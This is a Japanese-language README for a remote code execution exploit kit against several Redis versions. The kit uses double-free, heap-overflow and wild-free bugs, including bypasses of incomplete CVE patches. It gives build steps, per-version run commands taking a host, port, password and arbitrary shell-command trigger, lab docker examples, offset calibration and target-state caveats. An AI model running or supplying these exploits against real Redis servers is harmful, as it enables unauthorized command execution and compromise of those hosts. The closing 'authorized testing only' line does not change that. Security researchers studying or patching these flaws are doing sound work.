
Redis 6.2.22、7.4.9、8.6.4、8.8.0、8.8.1 向け RCE PoC
Redis 6.2.22、7.4.9、8.6.4 に対する非破壊的なRCEエクスプロイトです。ストリームのコンシューマーグループにおける共有NACKの二重解放(CVE-2026-25243のパッチ回避)を使用し、8.8.0 ではバンドルされたRedisBloomのTDigestヒープオーバーフロー、8.8.1 ではTopKのワイルドフリー(CVE-2026-25589のパッチ回避)を使用します。
A_exploit_stock.py — 6.2.22 用エクスプロイト(redis:6.2.22 イメージ)P74_exploit.py(+ P74_g2.py)— 7.4.9 用エクスプロイト(redis:7.4)P86_exploit.py — 8.6.4 用エクスプロイト(redis:8.6)P88W_exploit.py(+ P88W_lib.py、P88W_corrupt.py)— 8.8.0 用エクスプロイト(redis:8.8.0、バンドルモジュールの TDigest ヒープオーバーフローを使用)T88_exploit.py — 8.8.0 と 8.8.1 用エクスプロイト(バンドルモジュールの TopK ワイルドフリーを使用。不完全な CVE-2026-25589 修正の回避 — RedisBloom v8.8.0 と v8.8.2 で動作)A_lib.py、G2_arbread.py — 共通ヘルパー(エクスプロイトと同じディレクトリに置く必要があります)crc64.c/h、crcspeed.c/h — libcrc64.so のソース(Redis CRC64。有効な RESTORE ペイロードを生成するために必要)calibrate.sh — 非公式ビルド用のバイナリオフセットを計算しますP74_loop.sh、P86_run.sh — 起動リトライ用ラッパーgcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
要件: Python 3.6+(pipパッケージ不要)、gcc。
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
password — 認証なしターゲットの場合は省略(または "" を渡す)trigger — シェルコマンド。デフォルトでは /data/pwned* に証明ファイルを書き込みます例:
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off など。--help を参照)、./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] を実行して生成してください。オフセットが誤っているとターゲットサーバーがクラッシュします(範囲外読み出し)。EVAL、RESTORE、XGROUP(8.8.0/8.8.1 ではバンドルされたRedisBloomモジュールも必要ですが、デフォルトで含まれています)。HARDENING.md を参照。8.8.0 のエクスプロイトは約2000個のゼロ埋めされた tdigest 構造体と破損したオラクルキーを残します。実行後にターゲットに FLUSHALL/SAVE を行わないでください。TopK_Destroy は RedisBloom v8.8.0 と v8.8.2 の両方で、サイズ不足のヒープを超えたすべての k ポインターを依然として読み取ります。認可されたテスト専用です。